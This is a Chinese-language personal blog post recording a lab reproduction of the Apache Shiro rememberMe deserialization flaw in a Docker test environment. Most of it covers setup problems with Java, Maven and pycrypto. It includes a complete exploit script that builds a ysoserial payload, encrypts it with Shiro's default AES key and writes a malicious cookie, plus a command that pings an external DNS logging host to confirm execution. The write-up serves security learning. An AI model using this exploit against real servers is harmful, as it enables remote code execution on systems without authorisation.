前言
- 昨天受到我大哥的启发,去看了一下
Shiro
反序列化漏洞,由于身为渗透菜鸟的我之前压根就没见过这个漏洞,所以就从网上查阅了相关文章开始了我的复现之路
- 此次复现大体流程是参考的
https://www.cnblogs.com/paperpen/p/11312671.html
这篇文章,此文仅是记录自己复现流程中遇到的一些坑,希望给后续复现过程中遇到类似问题的小伙伴们能提供一些思路
复现环境准备
centos7
python2.7
- 现成的
docker
环境
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
工具脚本
- 这里直接找的网上的
payload
,将脚本保存至/tmp
目录下,并命名为shiro_poc.py
(名称大家可以随意,我这里是怕后续有问题所以直接按上述参考文章中的名称命名的)
- 老生常谈的问题了:先将脚本再主机上存储后,再用
xshell
或者其他工具,使用rz
命令上传到虚拟机中
- 脚本如下,若大家使用的是
python3
请使用前言中给出的文章里面的脚本,我这里因为使用的是python2
复现的所以做了些许修改
# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("/tmp/payload.cookie", "w") as fpw:
print >> fpw,"rememberMe={}".format(payload.decode())
- 注意1:
print(args, file=f1) is the python 3.x syntax. For python 2.x use print >> f1, args.
,即这里脚本的最后一句要写作py2
中的用法print >> f1, args
- 注意2:
pycrypto
这个库,在python2
中使用以下命令安装基本就能解决pip install pycrypto -i https://pypi.tuna.tsinghua.edu.cn/simple
,此外,最新版本的kali
使用的是python3
,它里面已经自带了这个库,使用python3
的小伙伴,若无法成功安装这个库,可以考虑使用最新版kali
(๑•̀ㅂ•́)و✧
ysoserial的jar文件
- 需依次执行下列指令,且
jar
的文件名要和脚本中的一样,文件要和脚本在同一目录下(这点很重要( ̄ε(# ̄)☆╰╮o( ̄皿 ̄///),否则会报错无法连接jar
文件)
- 针对执行命令时,我这次遇到的坑见如下
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp
mvn命令找不到
- 也就是未安装
mvn
,这里要说一下,mvn
需要使用java
环境,所以要先安装java
java
安装教程见此篇:https://blog.csdn.net/weixin_42392104/article/details/92832581
- 安装好
java
后,就可以安装mvn
了,安装mvn
教程见此篇:https://www.jianshu.com/p/51e4e84e02cd
- 上述
java
的文章中也提到了安装mvn
,大家可以自己选择脚本,我安装的时候是用的第二篇
报这个错 NB: JAVA_HOME should point to a JDK not a JRE
- 若大家安装好两个环境后,遇到报这个错,可以见这篇文章
`
https://blog.csdn.net/TMaskBoy/article/details/99875484?depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2&utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2
- 至此的话,环境就基本准备完成,此外顺带提一下执行
mvn package -DskipTests
的时候时间会比较长,大家请耐心等待
复现流程
- 执行脚本
python shiro_poc.py "ping vqbxt5.ceye.io"
- 执行后会生成一个
payload.cookie
的文件
- 浏览器打开漏洞环境并登陆进去,点击
account page
抓包
- 将抓到的包中的
cookie
全改为payload.cookie
中的
- 最后去
ceye
平台查看dns
流量记录
结语
- 本次的复现流程收获了不少,路漫漫其修远,渗透学习之路还很漫长啊(☄⊙ω⊙)☄
- 最后再次感谢我
Brain
老哥愿意带我这种小菜鸡(ง •_•)ง